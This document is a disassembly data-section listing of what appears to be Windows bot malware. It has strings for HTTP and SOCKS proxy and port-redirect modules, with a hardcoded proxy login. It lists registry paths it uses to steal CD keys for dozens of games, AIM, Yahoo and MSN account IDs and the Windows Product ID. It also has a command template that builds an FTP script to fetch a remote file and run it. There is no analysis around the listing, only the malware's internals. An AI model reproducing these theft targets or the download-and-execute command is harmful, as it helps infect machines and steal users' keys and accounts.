aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F40	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445230	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445258	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445338	dd 1000005h, 0	dword_445340	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:00445408o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454E4	dd 524F5453h	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454EC	dd 52544552h	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454F4	dd 5453494Ch	byte_4454F8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454FC	dd 54534C4Eh	byte_445500	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_445504	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456BC	dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
					; "InterlockedCompareExchange"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456FC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_445700	dd 25206425h, 64hdword_445708	dd 455A4953h, 732520h, 0dword_445714	dd 4D54444Dh, 732520h, 0dword_445720	dd 4F544E52h, 732520h, 0dword_44572C	dd 52464E52h, 732520h, 0dword_445738	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44574C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
					; ___:off_4456BCo
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA:					; DATA XREF: sub_433A20+36o
		unicode	0, <─>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 4468A4h, 446F70h,	446870h, 80000002h, 446810h
		dd 446F70h, 4467E0h, 80000002h,	446788h, 446F70h, 446764h
		dd 80000002h, 44671Ch, 446F70h,	446704h, 80000002h, 4466C0h
		dd 446F70h, 446698h, 80000002h,	44665Ch, 446F70h, 446628h
		dd 80000002h, 4465C8h, 446F70h,	44659Ch, 80000002h, 446578h
		dd 446570h, 446544h, 80000002h,	44651Ch, 446570h, 446504h
		dd 80000001h, 4464D4h, 4464D0h,	4464C0h, 80000002h, 446484h
		dd 446F70h, 446474h, 80000002h,	446438h, 446F70h, 446424h
		dd 80000002h, 4463DCh, 446F70h,	4463C0h, 80000002h, 44637Ch
		dd 446F70h, 446360h, 80000001h,	446338h, 4464D0h, 446328h
		dd 80000001h, 446300h, 4464D0h,	4462E0h, 80000002h, 4462A4h
		dd 4462A0h, 446284h, 80000002h,	446260h, 446258h, 446240h
		dd 80000001h, 446214h, 44620Ch,	4461E8h, 80000002h, 44619Ch
		dd 446F70h, 446174h, 80000002h,	446120h, 446F70h, 4460E8h
		dd 80000002h, 446084h, 446F70h,	446050h, 80000002h, 445FF0h
		dd 446F70h, 445FD4h, 80000002h,	445F8Ch, 446F70h, 445F70h
		dd 80000002h, 445F28h, 446F70h,	445F18h, 80000002h, 445EDCh
		dd 446F70h, 445ECCh, 80000002h,	445E90h, 446F70h, 445E68h
		dd 80000002h, 445E14h, 446F70h,	445DECh, 80000002h, 445D9Ch
		dd 446F70h, 445D80h, 80000002h,	445D58h, 4464D0h, 445D44h
		dd 80000002h, 445D0Ch, 446F70h,	445CDCh, 80000002h, 445C84h
		dd 446F70h, 445C68h, 80000001h,	445C18h, 445C10h, 445BF4h
		dd 80000002h, 445BB0h, 445BA4h,	445B8Ch, 80000001h, 445B5Ch
		dd 445B50h, 445B30h, 80000002h,	445AF4h, 445C10h, 445AD4h
		dd 80000002h, 445A98h, 445C10h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44693C	dd 3A6D6961h, 732520h, 0dword_446948	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A7C	dd 3A6E736Dh, 732520h, 0dword_446A88	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BB4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BCB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BD7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BE8:				; CODE XREF: ___:00446BEDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BE8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CE0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F70	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F74	dd 0							; sub_4245F0+11o ...
dword_446F78	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F80	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446FA4	dd 41h dup(0)						; ___:0040D380o ...
dword_4470A8	dd 0							; ___:loc_40D3D4r ...
dword_4470AC	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470B0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470B4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470FC	dd 0							; sub_40FF60+47Dr
dword_447100	dd 0							; sub_40FF60+515r ...
dword_447104	dd 0							; sub_40FF60+655r ...
dword_447108	dd 0							; sub_40FF60+B79r ...
dword_44710C	dd 0							; sub_40FF60+74Br
dword_447110	dd 0							; sub_40FF60+828r
dword_447114	dd 0							; sub_40FF60+77Cr
dword_447118	dd 0							; sub_40FF60+4DDr ...
dword_44711C	dd 0							; sub_40FF60+311r
dword_447120	dd 0							; sub_40FF60+34Dr ...
dword_447124	dd 0							; sub_40FF60+33Dr
dword_447128	dd 0							; sub_40FF60+3D2r
dword_44712C	dd 0							; sub_40FF60+E93r
dword_447130	dd 0							; sub_40FF60+1220r ...
dword_447134	dd 0							; sub_411FE0+4DAr
dword_447138	dd 0							; sub_40FF60+683r
dword_44713C	dd 0							; sub_40FF60+6B5r
dword_447140	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447158	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44719A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44719F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_4471A1	db 0			; DATA XREF: sub_40DB10r
word_4471A2	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472B7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472BB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472C0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_447309	db 3 dup(0)		; DATA XREF: ___:00408ADEo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447352	dw 0			; DATA XREF: ___:00408AB5o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44736C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44739B	db 0			; DATA XREF: ___:00408B07o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473E4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44742D	db 3 dup(0)		; DATA XREF: ___:00408A40o
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474BF	db 0			; DATA XREF: ___:00408B30o
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447551	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44759A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44768F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447769	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447844	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447874	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478D6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44791F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44794F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447998	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A44	dd 0				dd 11h dup(0)
		db 0
dword_447A8D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DF8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C9E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448CA2	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D16	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DB0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FCB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491CB	dd 0							; sub_4256B0+4Fw ...
dword_4491CF	dd 0							; ___:004240BDw ...
dword_4491D3	dd 0							; sub_4256B0+5Dr ...
dword_4491D7	dd 0							; sub_4256B0+8Cr ...
dword_4491DB	dd 0							; sub_4256B0+9Dr
dword_4491DF	dd 0							; ___:004240F1r ...
byte_4491E3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
		dd 5BEh	dup(0)
		db 3 dup(0)
byte_44A8DF	db 0			; DATA XREF: sub_58F3BC-B34Eo
dword_44A8E0	dd 2A59h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F40o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0B0A3h dup(0)		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44433Co
		dd 6DEh	dup(0)
		db 3 dup(0)
dword_4D5FCB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60B5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60CC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60CD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60D9	dd 0							; sub_404C20+2Aw
byte_4D60DD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D6107	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61CB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61CF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D638F	db 0			; DATA XREF: ___:004081C6o
					; ___:00408657o ...
		dd 8 dup(0)
dword_4D63B0	dd 0				dd 51h dup(0)
		db 0
byte_4D64F9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
